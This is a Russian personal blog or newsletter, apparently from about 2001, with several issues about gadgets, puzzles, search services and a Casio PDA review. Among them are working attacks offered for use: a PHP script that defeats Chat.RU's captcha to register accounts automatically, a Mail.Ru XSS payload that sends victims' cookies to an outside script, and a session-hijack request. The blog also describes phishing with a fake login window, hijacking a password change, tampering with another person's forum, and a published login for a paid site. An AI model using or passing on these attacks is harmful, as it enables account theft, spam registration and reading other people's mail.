Lang Teacher, MySQL, задачи more, Yandex, жук с ручкой
Вот и кончился сентябрь. Поздравляю, допрыгались? Октябрь начался многообещающе — сырость, слякоть, дождь и температура чуть выше нуля.
То, о чем так долго твердили фантасты свершилось! Вот тут за 497 баксов можно купить машинку ECTACO Language Teacher Gold Partner v6 (ну и титулов у нее), которая умеет переводить произнесенные (!) фразы с русского на английский и обратно.
Внутри у нее спрятан словарь на миллион слов, туристический разговорник для семи языков: английского, русского, немецкого, французского, испанского, итальянского и португальского, цифровой диктофон на 12 минут, записная книжка с памятью 2МБ, телефонная книга, заметки, калькулятор, несколько игр и прочее. Оснащено это все небольшой клавиатурой и сенсорным экраном. Есть возможность для синхронизации с компьютером.
Что немаловажно, Language Teacher может помочь выучить английский язык — в его наборе есть справочник английской грамматики, самоучитель TOEFL, справочник английских неправильных глаголов и система коррекции акцента. Т.е Partner V6 может прослушать, как вы говорите то или иное слово и сказать насколько произношение соответствует эталону.
Хорошая машинка. :) Подробнее о ней можно почитать здесь.
Не знал.
[…] БД MySQL делать такую сортировку очень просто с использованием FULLTEXT полей.
Для вывода результатов поиска по релевантности необходимо:
- Требуемые поля VARCHAR, либо любые из разновидностей полей TEXT (SMALLTEXT, MEDIUMTEXT и т. п.) сделать ключами FULLTEXT:
ALTER TABLE table ADD FULLTEXT(field)
Или во всеми любимом phpMyAdmin’е, который я слегка подправил для работы с FULLTEXT полями (архив прилагается — вдруг кому пригодится).
- Дальше — еще проще:
$query = "SELECT *, MATCH field AGAINST ('$searchwords') as relev FROM table ORDER BY relev DESC";Далее можно навешивать всякие LIMIT’ы и прочее для удобного вывода.
- Все::)
Почитать про это можно у Дмитрия Лебедева или более полно, нo уже на английском в руководстве по MySQL.
Нда. MySQL, конечно, не ахти какая СУБД, но наличие различных фич и модулей для сопряжения с чем угодно делает ей честь.
За ссылочки спасибо Александру Ефремову.
Вниманию казанцев!
Пользователям Интернет в городе Казани компания «
Подробнее об акции и сроках проведения можно прочитать вот по этому адресу.
За ссылочку спасибо Владиславу Спиридонову.
Не успел я собраться с духом и решить задачу про дома, Петь, Мить и прочих мерседесах, как мне прислали еще три. Первые две от Dead Emotion.
[…]
а, вот, кстати, задачка,
Говорят, на собеседовании в Microsoft на решение такой давали 30 мин.
Короче, есть мост, по которому могут пройти максимум 2 чувака. Ночь, мост не освещён, без фонарика по мосту ходить нельзя. Чуваков четверо, все на одном берегу, фонарик один.
Чувак Men1 может перебежать через мост за 1 мин., Men2 — за 2 мин., Men5 — за 5 мин., Men7 — за 7 мин.
Если по мосту идут двое, они двигаются со скоростью самого медленного (т. е. Men1 и Men7 пройдут за 7 минут).
Вопрос: Как им всем четверым переправиться на другую сторону за 14 мин?
PS: решение есть ;)
Эту я решил минуты за четыре. Я умный, ага. :) А вот над следующей подумать еще не успел.
и еще раз ;)
чуть на забыл… — вот вещь, которая меня в свое время повергла в довольно продолжительный ступор… ;) задачка, скорее не из области математики и вычислений, а придумывание
Несколько золотоискателей захотели разделить намытый ими золотой песок поровну, однако весов рядом не оказалось, а поехать в город, оставив песок никто не захотел. Если бы их было двое, то все было бы понятно: первый делит кучу на две части, а второй первым выбирает себе любую часть, при этом, если кому то и досталась меньшая часть, то ему в этом следует винить только себя. Обобщите способ раздела песка поровну между n золотоискателями (n>2). Способ должен гарантировать, что каждый получит не менее 1/n песка (конечно если только он сам не оплошается), даже если остальные золотоискатели вступят в сговор.
Третья задача — от Олега Степанищева. Если не ошибаюсь,
В саду росло 49 деревьев — по семь в обоих направлениях. Садовник нашел, что деревьев слишком много; он желал расчистить сад от лишних деревьев, чтобы удобнее разбить цветники. Позвав работника, он дал ему такое распоряжение:
— Оставь только пять рядов деревьев, по четыре дерева в каждом ряду. Остальные сруби и возьми их себе на дрова за работу.
Когда рубка кончилась, садовник вышел посмотреть работу. К его огорчению, сад был почти опустошен: вместо 20 деревьев работник оставил только 10, срубив 39 деревьев.
— Почему же ты вырубил так много? Ведь тебе сказано было оставить 20 деревьев! — распекал его садовник.
— Нет, не сказано «20»; сказано было оставить пять рядов по четыре дерева в каждом. Я так и сделал. Посмотрите.
И в самом деле, садовник с изумлением убедился, что оставшиеся на корню 10 деревьев образуют пять рядов, по четыре дерева в каждом. Приказание его было исполнено буквально,
Скоро в сборник задач превращусь,
Ребята из Яndex — молодцы. Скоро, думаю, появится поговорка «неисчерпаем, как Yandex».
Пою дифирамбы я по поводу нового сервиса — «Яndex. Энциклопедии».
Со всей ответственностью сообщаю — появления этого сервиса я ждал очень долго. Именно такого — четкого, простого и удобного. Именно по этой причине мне не подходит «Кирилл и Мефодий» мне не по вкусу — похоже на помойку.
В данный момент поиск осуществляется более чем по 200 тысячам статей
БСИ, малый энциклопедический словарь Брокгауза и Ефрона, толковой словарь Даля, малая медицинская энциклопедия, словарь основных
Кстати, среди всего этого великолепия не нашлось толкования слова «гомонок» («кошелек»), которое так любит упоминать моя бабушка. Странно,
Нда, и вот еще. Сравните вот этот запрос с вот этим. И скажите мне почему найдено разное количество страниц.
Помните фонарик «Жук», тот самый у которого была ручка сбоку, которую надо было крутить, что бы осветить дорогу?
Компании Motorola и FreePlay Energy Group объединили усилия для создания девайса, способного работать запитывать телефоны тем же нехитрым способом. Покрутив ручку 45 секунд, можно без проблем говорить
Девайс появится к концу года и будет совместим с телефонами Моторола и популярными моделями некоторых других фирм.
Не знаю кому как, а мне это напоминает допотопные телефоны с ручкой, которые так любят показывать в «фильмах про революцию». Там электричество для вызова «барышни» как раз добывалось при помощи аналогичной ручки. :)) Все новое — хорошо забытое старое.
Подробности — тут.
Когда уже заливал этот выпуск обратил внимание на то, что обратный адрес Dead Emotion указывает на Gazeta.Ru, где, кстати, все, кто попытался решить задачу про пять домов, решили ее успешно…
[…]
ES>> Ну как? Журналисты решили? :))))
e> да ужас
e> брались, все решили… кошмар, одним словом…
e> может, Энштейн имел в виду, что только 2% людей ВОЗЬМУТСЯ за ее
e> решение?.. ;) хотя, процент взявшихся решать уже за 10% от общего
e> количества людей в офисе перевалил… ;)
e> люди, поумнели, чтоль… ;)
Опс. Обратил внимание на адрес. :)) Умные и исключительные люди работают в Газета.Ру :))
Наверняка Эйнштейн говорил об усредненных результатах, а сотрудники Газета.Ру вряд ли могут считаться людьми со средними показателями. Впрочем, Эйнштейн насчет двух процентов мог и ошибаться. :))
Пишите!
«Старая перечница», Miranda MSN, ответы, гаманок
В свете многочисленных пожеланий появилась мысль прикрутить к сайту небольшой форум, как у Спектатора или Psyberia. Как только мне удасться сотворить для него достойный дизайн, сделаю это обязательно.
Читал сегодня размышления «Старой перечницы» по поводу формирования PHP-форума из кусков файлов, вставляемых далее при помощи require. И только я отписал в форуме, что так делать не годится, как мое замечание лишило форум работоспособности.
Благодаря тому, что файл формирующий сообщения форума, как оказалось в данном случае, не является исполняемым я смог его выкачать и посмотреть в чем дело:
$dataName[1] = "BOLK";
$dataMail[1] = "se@e-kazan.ru";
$dataMessage[1] = "...осторожно отфильтровывать символы ", <? и так далее...";
$dataDate[1] = "6.10.2001 10:15";
$dataAnswer[1] = "######";
$index = 1;Роль слона в посудной лавке сыграла кавычка, которую я поставил совершенно случайно, а Павел
Все это, вкупе с использованием require, привело к очень опасной ситуации — возможности взлома сайта с проведением любых манипуляций с его файлами. Обнаружив это, я воспользовался дырой, убрал свое сообщение, которое привело к ошибке и послал Павлу письмо с пожеланием немедленно отключить форум.
Надо было на этом остановиться. Но я подумал, что за это время
Воспользовавшись дырой и довольно успешно миновав защиту от различных спецсимволов при помощи вставок \xHH, я скопировал себе скрипт форума, исправил его и залил назад, но, в спешке, пропустил
Переборщил с помощью. В чем публично перед Павлом извиняюсь. :( Правда и дыру закрыл…
Как вы наверное знаете, я уже давно не пользуюсь Mirabilis ICQ, предпочитая ее клон, Miranda ICQ — вещь, потенциально, весьма более качественную и, к тому же, динамично развивающуюся.
Одной из возможностей, заложенных в Miranda еще до рождения, является возможность подключения плагинов для поддержки различных видов протоколов. В частности, не так давно появилась
Я давно мечтал о появлении в Miranda поддержки MS Instant Messenger. Работа над этой проблемой весьма вяло, но все же продолжалась в Miranda team. И вот этот момент настал! Ровно четыре дня назад ночной билд Миранды начал поддерживать MS IM. Сейчас идет активная работа над ошибками, но пользоваться плагином уже можно.
Правда, еще нет поддержки прокси и статуса «пользователь печатает сообщение», но, думаю, в скором времени поддержка этих возможностей появится.
Меня попросили опубликовать ответы на задачи, заданные в предыдущих выпусках, чтобы люди смогли узнать, насколько верно они их решили. Думаю, прошло достаточно времени чтобы все, кто хотел решить эти задачи, успели это сделать.
Итак…
Задача о пяти домах и прочих пяти признаках. Ответ: на Порше ездит Жора.
Задача о людях, переходящих через мост. Ответ: первыми идут Men1 и Men2, Men1 возвращается с фонариком, потом переходят Men5 и Men7, Men2 возвращается с фонариком, мост переходят Men1 и Men2.
Задача о садовнике и его смышленом работник имеет сразу три решения. Все три были найдены сотрудниками Газета.Ру, написавшими программу перебора и присланы Dead Emotion.
Остальные варианты являются либо зеркальными отражениями, либо получены того или иного рода поворотами. Впрочем, если
Кстати, легко доказать, что в этой задаче через каждую точку должно проходить ровно две линии. Так, используя это свойство, можно попытаться улучшить время перебора.
Решать задачи в уме или на бумаге замечательно, но иногда хочется ссылку на серию логических загадок, выполненных на Flash (примерно по 300КБ каждая).
Среди прочих, там есть знаменитая головоломка про козу, волка и капусту. Все головоломки, кроме, пожалуй, обхода конем, довольно просты и решаются буквально за пару минут.
Я был несправедлив к Энциклопедиям Яndex’a. Слово, которым моя бабушка называла кошелек там есть, просто пишется оно через два «а» — «гаманок». Цитату из словаря Даля мне прислали сразу семь читателей.
ГАМАН, гаманец, гаманок м. южн. зап. кожаный кошелек для денег. Гамза ж. или гамзуля, вернее гомза, гобза, от гобина, обилие; то же, кошель, бумажник, денежник; || деньги. Раскошеливайся, у тебя
Я был несправедлив к «Энциклопедиям…», но еще более я был несправедлив к ресурсу под названием «Рубрикон», которого я совершенно обошел вниманием. Впрочем, у меня есть оправдание — ссылку на него я узнал лишь недавно, благодаря письму от Kirill’a Gribunin’a.
«Рубрикон» не умеет исправлять ошибки в набранных словах, как это делает Яndex, но обладает с неоспоримым преимуществом: поиск ведется сразу
В общем, весьма ценный ресурс. Однозначно, рекомендую к использованию.
На этом у меня на сегодня все. Удачных выходных. Пишите!
Задачи again, Chat OCR, concept 3G и AOL device, 1000
После продолжительного, более чем двухнедельного молчания во мне, наконец, взыграла совесть и я решил порадовать читателей моей домашней странички очередным выпуском. Всем привет!
Для начала вернемся к теме, которая вот уже, если я не ошибаюсь, три выпуска не дает мне покоя и, похоже, обещается не давать его примерно столько же.
Олег Лычаный, Макс Козлов и Дмитрий Мараков, независимо друг от друга, прислали мне четвертое решение задачи о садовнике. Решая эту задачу я, например,
Если принять, что ряды располагаются как угодно, то могут появится такие красивые решения, как звезда. Может
Почтовые сервисы, кажется, подустали от автоматических регистраторов в мгновение ока сметающих «красивые» логины и использующих авторегистрацию для рассылки спамовых писем.
В последнее время появилась мода на регистрацию при помощи «магических чисел» нанесенных на картинку. Если вы не знаете о чем речь, попробуйте, например, зарегистрировать
Число каждый раз меняется и генерируется как можно более хитрым способом, что бы вычислить его, например, через параметры, передаваемые скрипту, рисующему картинку, было достаточно трудно.
Тот же Chat.RU, для примера, каждые несколько часов генерирует набор пятизначных цифр, хеширует их через MD5 и помещает все соответствия в базу данных. Этот хеш является параметром для скрипта, генерирующего картинку.
Способ достаточно странный и трудоемкий, но «кул хацкеров» все же отпугивает. Странный потому что совершенно непонятно для чего оставлять хоть
Вообще результат не такой уж плохой, но мне захотелось его улучшить. Не то что бы я занимаюсь спамом или регистрацией логинов, просто было интересно решить эту задачу. Отвергнув способ с улучшением способа нахождения обратного по хешу, как трудно поддающийся улучшению я решил сконцентрировать силы на распознавании самой картинки.
Забегая вперед, скажу, что концентрироваться пришлось недолго. Сначала я обратил внимания на то, что выдаваемая пользователю картинка имеет формат PNG, значит новая GD-библиотека, вкомпиленная в PHP на моей машине, вполне сможет с ней работать. Поэтому первое что я сделал — прошелся по всей картинке и, двумя циклами, перевел ее в ASCII — графику, чтобы лучше рассмотреть, а заодно убедиться, что GD картинку «понимает».
Моя задача очень упростилась — как оказалось все цифры в строке одинакового размера, а координаты начала печати от картинки к картинке не изменяются ни на пиксел.
Сверять цифры с заранее заготовленными образцами было слишком просто и грустно, так что я решил просто суммировать количество пикселей, составляющих цифру, в каждом столбце одного знака и сравнивать получившееся значение с просчитанным заранее. Как оказалось для этой задачи необходимы только первые три столбца каждой цифры. Получилась такая вот программка на PHP, которая позволяет регистрировать
function OCRNum($URL)
{
$out = '';
$nums = array (464,23,245,242,233,674,685,343,377,266);
$png = imagecreatefrompng ($URL);
for ($x = 10; $x<54; $x++)
{
$sums = array(0,0,0);
for ($i = 0; $i<3; $i++)
for ($y = 10; $y<20; $y++)
$sums[$i]+= imagecolorat ($png, $x+$i,$y);
$x+=8;
$out.= array_search((int)join('',$sums), $nums);
};
return $out;
};
function GetCryptKey()
{
$fp = fopen ("http://chat.ru/user/register.html?", 'r');
while (!feof ($fp))
{
$line = strstr($line = fgets($fp, 1024), 'personal_key_crypt=');
if ($line!==false) break;
};
fclose ($fp);
if (ereg ("[[:alnum:]_]+=([^\">]+)", $line, $regs))
return $regs[1]; else return false;
};
function RegProc($crypt_key)
{
global $user, $pass;
$key = OCRNum("http://chat.ru/user/image_gen.html?".
"personal_key_crypt=$crypt_key");
$URL = "http://chat.ru/user/register.html?personal_key=$key&".
"personal_key_crypt=$crypt_key&username=$user&pw1=$pass&pw2=$pass&".
"action=Register/Зарегистрировать";
$fp = fopen ($URL, 'r');
while (!feof($fp))
{
$line = fgets ($fp, 2048);
if (strstr ($line, '<head>'))
echo "$line\n<BASE HREF=http://www.chat.ru>\n"; else
echo $line;
};
fclose ($fp);
};
if ($user=='' || $pass=='')
echo <<<HTML
<STYLE>
body, td, input {font-family: Trebuchet MS; font-size: 15px}
</STYLE>
<BODY BGCOLOR=WHITE TEXT=BLACK>
<TABLE WIDTH=300>
<FORM ACTION=$PHP_SELF>
<TR><TD>User name:</TD><TD><INPUT TYPE=TEXT NAME=user></TD></TR>
<TR><TD>Password:</TD><TD><INPUT TYPE=TEXT NAME=pass></TD></TR>
<TR ALIGN=CENTER><TD COLSPAN=2><INPUT TYPE=SUBMIT VALUE=Register>
</TD></TR>
</TABLE>
</FORM>
HTML;
else
{
$ckey = GetCryptKey();
if ($ckey === false) echo 'Не могу зарегистрировать.'; else
RegProc ($ckey);
};Берите, пользуйтесь, пока ребята из Chat.RU не сменили алгоритм. :) Вообще Chat.RU — сервис довольно странный и дырявый, но об этом
Никому игрушечная ведьма в подарок ребенку или младшему брату на Хелоуин (надеюсь, правильно написал) за умеренные деньги не нужна? :) 15 сантиметров в высоту, подвижные конечности и голова, змеи неожиданно появляющиеся из глаз и рта. В комплекте накидка, свеча, две корзины и прочая атрибутика. Очаровашка. [ Вот тут ].
О «concept car» слышали, пожалуй, все. А вот о концепт-3G-терминалах я, например, слышу впервые. На фотографии справа, например, Nokia 3G Terminal Concept III.
Посмотреть на это все можно вот здесь, а где и когда можно будет купить, надо ли покупать и сколько будет стоить я не знаю. Ибо это всего лишь concept.
Надеюсь, что в след за концептуальными 3G-терминалами появятся
Не секрет, что кроме всем известной «Аськи» на свете существует великое множество разнообразных
До такого, кроме, AOL не додумалась,
Внутри, как не странно,
Продается в штатах по цене в 100$, плюс 30 баксов ежемесячно, за подключение. Очень неплохой бизнес.
Мне кажется оформление мусорных баков у нас в Казани скоро станет одним из видов искусства. Я уже
На этом позвольте попрощаться. Пишите! Вашим письмам я радуюсь, как ребенок. С уважением, Евгений Степанищев.
КулХацкерство, Chat.RU, WatzNew, гель для души
Всем привет!
В отличие от фото, опубликованного мною в предыдущем выпуске, это — фотомонтаж. Причем мой. :) Буква «И» перенесена из слова «кожи», написанного на том же флаконе.
Идея пришла мне в голову неделю назад, пока я отмокал в ванной после напряженного трудового дня. Насилу дождался, когда закончится флакон, чтобы утащить его в офис и преобразовать его там в цифру. :)
Флакон отсканирован обычным HP ScanJet 3400C, так что за качество сильно не бейте — я и так десять минут потратил на то, что бы привести изображение в нормальный вид при помощи Фотошопа.
Кстати, совсем недавно, буквально на днях открылся новый раздел сайта «Карикатура» — УКОЛ (Удачный КОЛлаж), где отныне публикуются коллажи, выполненные мастерами фотошопа и прочих пейнтбрашей. Авторы сайта приглашают художников, выполняющих коллажи поучаствовать в наполнении раздела.
Пока в галерее представлены работы только двух художников — Алексея Бабкина и Роберта Демкина, но, думаю, количество участников будет расти. Кстати, на сайте есть рейтинг работ и возможность проголосовать за особо понравившийся УКОЛ.
Вот сижу и думаю — художник я или нет. Принять участие или не стоит. Удачен мой КОЛлаж или так себе. :)
Письмо от Романа Биктагирова. Ненормативная лексика переписана задом наперед и выделена курсивом.
Hello, se!
Ялб, ну какой ты хакер! Ну «заломал» чат.ру. Да не фига! Хотя бы порносайт
сломал, ялб или кредитку. Про estarter прикольно, но нафига мне estarte?
Ни яух не тебе меня йыннабе estarter.
Так как это уже второе подобное письмо такого плана, то я хочу внести ясность в этот вопрос. Не припомню, чтобы я
Теперь что касается порносайтов и кредиток. Большая часть «взломов паролей» порносайтов — это, либо сознательное размещение порноресурсами паролей доступа в открытых каталогах для привлечения новых клиентов на сайт (что бы «втянулись»), либо плод применения
Первое могут позволить себе либо очень крупные, либо очень молодые ресурсы, второе чаще проходит только с сайтами, использующими номер кредитки для проверки возраста. Не буду объяснять почему.
Мне, как человеку достаточно много проработавшему с различными системами оплаты достаточно просто воспользоваться вторым методом. Чтобы получить, например, вот этот вот вход. Роман, специально для тебя. Пользуйся, пока не прикрыли.
Что касается номеров кредиток, то как их воруют я не знаю и знать не хочу. Это дело подсудное, в отличие от того что я проделал, добывая логин из предыдущего абзаца. Получив логин, я не нарушил функционирования ни одного из компонентов сайта, не помешал получить прибыль с этого порноресурса, не получил
Так что, Роман, расслабь сфинктер, номеров кредиток я тебе подарить или продать не смогу. То же самое я хочу сказать и Peter’у, написавшему предыдущее письмо о кредитках. И, конечно, все вышесказанное не означает, что я теперь буду периодически публиковать пароли для порноресурсов. Для этого есть другие сайты.
Как наверное хоть
Вкратце, я попытаюсь объяснить, что есть WatzNew и почему стоит пользоваться этой программой.
WatzNew время от времени посещает добавленные ранее сайты (т. н. «каналы») или почтовые ящики и сообщает пользователю о всех произошедших там изменениях. Каким именно методом программа будет сообщать об изменениях решает сам пользователь. WatzNew настолько развита, что, при соответствующих настройках, умеет сама вычленять из страницы новостные блоки.
Простые каналы программа умеет создавать в режиме «мастера». К сожалению, «мастер» не поможет новичку самостоятельно, без копания в документации создавать свои каналы любой сложности, используя все возможности сбора информации, предоставляемые этой программой. Но, в большинстве случаев, можно и не лезть в дебри. Например, как оказалось, многие из посещаемых мною каждый день сайтов уже имеют сконфигурированные каналы WatzNew.
Любителей Perl ждет приятный сюрприз — программа умеет использовать программы на языке Perl, как фильтры, так что можно создавать каналы практически неограниченной сложности.
К сожалению, у любой программы есть недостатки. У этой программы их два. Первый — программа платная, что, впрочем, при использовании некоторых поисковых машин с «говорящими» названиями, проблемой не является. Второй недостаток — глюки последней, на данный момент, (1.6) версии программы под W2K. Глюки обходимые, но очень неприятные. Надо будет выбрать время и написать авторам баг репорт.
Давно я так не смеялся. Вот тут. 936 килобайт. Смешное начинается, примерно, с трети, но рекомендую послушать сначала.
По телевизору услышал «противостояние идеологии и фактологии». Журналисты у нас — мастера русской словесности. Да…
Цитата из письма Petivan’a. Письмо полностью приводить не буду — оно слишком обширно.
…вот Вы говорите о дырявости www.chat.ru. О каких дырах Вы говорите? Что
именно Вы имеете ввиду?.. Ведь я ничего подобного не сылшал…
Я говорю о том, что, хотя видны некоторые усилия команды Chat.RU по затыканию дыр в защите
Например, возьмем к рассмотрению тот факт, что в HTML-письмах
Получается, что любой владелец почтового ящика на Chat.RU, получив мое письмо с редиректом на мой сервер, выполненным любым, пришедшим мне в голову способом, находится под угрозой прочтения мною его писем, так как номер его сессии попадет в мои логи, как referrer. И, пока он не нажал на кнопку «выход» (а многие просто закрывают окно после завершения работы) я смогу беспрепятственно прочитать любые его письма, просто набрав в строке запроса браузера строчку, попавшую мне в логи.
Справедливости ради, стоит отметить, что получить пароль пользователя, узнав номер его сессии не удастся — программисты Chat.RU об этом позаботились. Но можно обмануть пользователя — загрузить в HTML-письме свою страницу, которая откроет пользователю окно, похожее на окно логина Chat.RU (см. скриншот), что бы пользователь подумал, что произошел
Естественно, есть очень бдительные люди, но явное большинство легко поведется на такой трюк. Кстати, пользователь может ошибиться и ввести неверный пароль, но это очень легко проверить — достаточно будет написать скрипт, который тут же попытается залогиниться с полученным паролем.
Довольно интересной задачей является поиск раскрытия метода шифрования, используемого для идентификации пользователя при попытке смены пароля. У меня до этого руки не дошли, но я успел выяснить, что зашифрованная строка зависит только от имени пользователя (!) и некой соли, которая время от времени изменяется и никак не зависит от пароля. Хотя, может быть, это просто некоторый случайный идентификатор каждого пользователя.
В любом случае от этого знания есть некоторая польза — если вы заметили, что ближний ваш меняет пароль Chat.RU прямо в браузере, доступ к которому вы имеете, то совсем нетрудно по журналу (history) найти его идентификатор и поменять пароль вторично. :) У вас в запасе, по моим прикидкам, есть время до ночи того же дня.
Я не знал. Оказывается, если ваш компьютер, как и мой офисный, не имеет «шнурка» соединяющего
Для того, что бы включить «цифровое воспроизведение», так это называется, необходимо проделать следующее. Выберите «Мой компьютер» -> «Свойства» -> «Устройства» -> «Устройства чтения
Для линейки NT (2000 и XP) путь несколько другой, но отличается не слишком, так что найти аналогичную галочку труда не составит.
Пишите! Отвечу обязательно!
Крякаем Mail.RU, PV-S450: впечатления и говорящий я
|
|
Всем привет!
Сегодняшний выпуск проведет мое фото на паспорт, сделанное в нежном возрасте 17 лет. Мне прямо хоть в цирке Монти Пайтона выступать. Надеюсь, у всех браузер настолько продвинутый, что лицо на фотографии видно и рот двигается.
Конечно, в жизни я не такой плоский
P.S. Кстати, никто не забыл перевести все часы в доме на зимнее время? Меня сегодня об этом предупредил компьютер.
Похоже,
Сегодня буду пороть Mail.Ru. Mail.Ru — один, как я считаю, из лучших почтовых сервисов в России. Люди, которые его делали постарались защитить
Стили, опасные теги, скрипты и вообще активное содержание HTML-письма тщательно обезвреживается буквой «x», забивающей теги и атрибуты. Например, атрибут STYLE, неважно опасен он или нет, превращается в безобидный xSTYLE, а SCRIPT — в xSCRIPT.
Но мне пришлось послать всего три письма, чтобы я смог найти уязвимость, которую проглядели в Mail.Ru. Фокус заключается в простановке у тега второго атрибута STYLE, поставленного вплотную с первым. Тогда анализатор уязвимостей благополучно обезвреживает первый, но не замечает второй. Возможно, я не проверял, так же дело обстоит и с другими блокируемыми атрибутами, например, onMouseOver.
<IMG STYLE=''STYLE="width: expression(var i;if (!i) i = location.href=('http://domain.ru/script.cgi?'+document.cookie))"В принципе, уже этого достаточно, чтобы написать аршинными буквами слово «Мазафака» или заставить исчезнуть нижнюю часть экрана и на этом успокоиться. Но с Internet Explorer (кстати, и не только), если запущен он, конечно, не на Маке, можно делать вещи и поинтереснее.
Например, попытаться получить информацию, достаточную для того, что бы прочитать корреспонденцию атакуемого. Вообще данные по которым сервер узнает пользователя при работе с почтой хранятся в браузерных cookies. И этих данных вполне достаточно, чтобы сервер принял любого, кто владеет этой информации на период сессии с распростертыми объятиями.
Таким образом, достаточно перенаправить пользователя строчкой, подобной той, что я написал выше на некий script.cgi, что бы получить всю необходимую информацию.
Далее, при помощи самодельного proxy, telnet или простого редактирования cookie, скармливаем всю полученную информацию серверу и наслаждаемся чтением. :) Запрос на чтение, в итоге, получится похожим вот на этот:
GET /cgi-bin/msglist?folder=0 HTTP/1.1<br>
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*<br>
Referer: http://win.mail.ru/cgi-bin/start?back=1<br>
Accept-Language: ru<br>
Accept-Encoding: gzip, deflate<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)<br>
Host: win.mail.ru<br>
Connection: Keep-Alive<br>
Cookie: Mpop=1004195474:EcczSKdd:mail@mail.ru:; u=P6kBAA3tqABB<br>Я предпочел сформировать полный запрос, но это вовсе не обязательно. Кстати, пользователя после редиректа можно направить
http://www.mail.ru@65.21.11.10/вполне_невинная_страница.htmмногие сразу почувствуют подлог. Другой способ — воспользовавшись дырой, узнать как можно больше регистрационных данных этого аккаунта — его секретный вопрос с ответом, дату рождения, имя и тому подобную байду (вся эта информация доступна из меню «настройки»). А потом спокойно ввести ее в форму напоминания пароля. Дальше, остается спокойно поменять пароль на любой понравившийся и пользоваться ящиком в свое удовольствие.
Сегодня увидел в маршрутном автобусе: «бесплатным проездом пользуются только участники ВОВ и дети до 7 лет». Думаю, они ошибаются.
Sergey aka Des прислал ссылку на MP3 с радиорозыгрышем, за что ему большое спасибо. :) Вот тут. 300КБ, жаль, что скорость скачивания очень низкая. Либо сервер стоит на узком канале, либо пользуется бешеной популярностью. :)
Айдын aka Whatever прислал письмо из которого следует, что «Гель для души» — фотомонтаж, который я размещал в прошлом выпуске, не плод моей копии Фотошопа, а суровая реальность. Продается это чудо в Москве под маркой то ли «Роснин», то ли «Роско».
Прошу производителей этого замечательного геля выплатить мне денежку. За рекламу. :) Пусть и неумышленную. :)
Casio
Первое, что я понял — электронные органайзеры мне не подходят, как бы они выглядели и какие бы возможности они не предоставляли. Не лежит у меня душа тыкать пером в
Второе. Сделав выбор между Palm и Casio в пользу последнего, я не ошибся. С точки зрения дизайна Casio выглядит куда более выигрышно, чем Palm III или m10x. Насчет V-го ничего не скажу — я его вживую не видел. Одно точно — экран пивишки больше палмовского, примерно на треть, за счет отсутствующей области граффити.
Граффити в Casio нет. Т. е. есть, но в виде отдельной программы и без русификации, что для любителей писать магические знаки на PDA является определенной проблемой. Для меня никакой проблемы тут нет, тем более, что граффити с успехом заменяется графической клавиатурой, которой и осуществляется весь ввод. И вот тут уж никаких проблем с русификацией нет.
Русификация в Casio выполнена на уровне самой PV OS, русифицированных версий уже три — это Миценко ОС, Белка ОС и
Другое достоинство пивишки — Flash память. Все программы выполняются
Далее. PV работает от двух пальчиковых батареек AAA *очень* долго. С момента покупки я еще не сменил батарейки ни разу, хотя использую PV довольно интенсивно — часа по два в день. Пальмовцы, рыдайте!
Еще одно достоинство — колесо прокрутки. Колесико удобно располагается под большим пальцем левой или указательным пальцем правой руки. При помощи колесика можно управлять прокруткой или навигацией. Нажимая на колесико можно совершать
Подсветка. Сам не сравнивал, но говорят Casio в этом смысле выглядит выигрышней Palm’a. Теперь о том, в чем Palm «бьет» Casio.
Одним из ограничений PVOS является количество одновременно загружаемых в машинку программ. PVOS умеет работать только
Количество написанного софта. Да, софт для Palm’a поместиться разве что на пару компашек. Софт для Casio — это несколько десятков наименований. Но, спешу развеять все сомнения — софта для Casio вполне достаточно.
Хочется поиграть? Примерно пятьдесят игр (из них три тетриса :), собранные в один архив одним из фенов PV скрасят ваше существование. Встроенные в ОС приложения позволяют вести таблицы
MiniBook, написанный Pu Bo, позволяет читать и хранить до девяти книг одновременно, упакованных, примерно, в два раза. Недавно вышла новая версия MiniBook, но я еще не успел ее посмотреть. Кстати, если кУпите PV не забудьте выкачать русский патч для минибука — FixFont, очень рекомендую поставить. Так же нужно попробовать воспользоваться парой форматировщиков текста. Какой из них лучше — решайте сами, я пользуюсь форматировщиком от -
Текстовые редакторы. Распространенных два. Первый встроен в саму PVOS. Мне он не нравится — подтормаживает при наборе. Второй — IEdit от Полуэктова, пока находится в стадии
Переводчики. Я пользуюсь двумя, но слышал еще о нескольких. Первый — это весьма известный «СловоЕд», который раньше распространялся с PV в России, а второй —
Написание собственных программ. Программы для PV обычно пишутся на C или диалектах BASIC. Сишникам Casio предлагает собственную среду разработки, неудобную, но хоть
Остальные программы
Начиная разговор про программы, совсем забыл сказать каким образом они попадают в PV. Модели 2x0 и 4x0 работают через кредл, подключаемый к COM-порту, впрочем в природе существуют и USB-шнуры, но это всего лишь COM-через-USB. Владельцам X-серий придется найти в Интернете и прочитать специальную инструкцию по заливке программ.
У PV есть будущее. Группа российских программистов SSC LG обещает к концу года выпустить пакет
И еще. Несколько ссылок для тех, кто хотел бы поближе познакомиться с купить, сайт SSC LG и два сайта, посвященных PV — на русском и английском.
P.S. Я не сравниваю PV с различными изделиями на базе EPOC32, Windows CE и прочими «полноприводными» устройствами, поскольку считаю их просто неполноценными — это уже не PDA, а «недоноутбуки» и по цене и по удобству использования. Тем более, что время работы этих устройств от батарей или аккумуляторов — около пары часов.
Копирайтеры — все сплошь милые, добрые люди. Придумать такое… Сам видел по телевизору. Дедушка, заговаривая внучеку зубы, тянется за чипсами, внучек вместо чипсов ставит мышеловку, куда попадает дедушкин палец… Кто хоть раз в детстве пробовал сунуть в мышеловку карандаш должен себе представлять, как должен выглядеть палец, после попадания в мышеловку…
Если кто в детстве был обделен этим полезным опытом, попробуйте проделать его сейчас. Напоминаю, что использовать нужно карандаш, а не палец.
На этом позвольте попрощаться. Пишите!

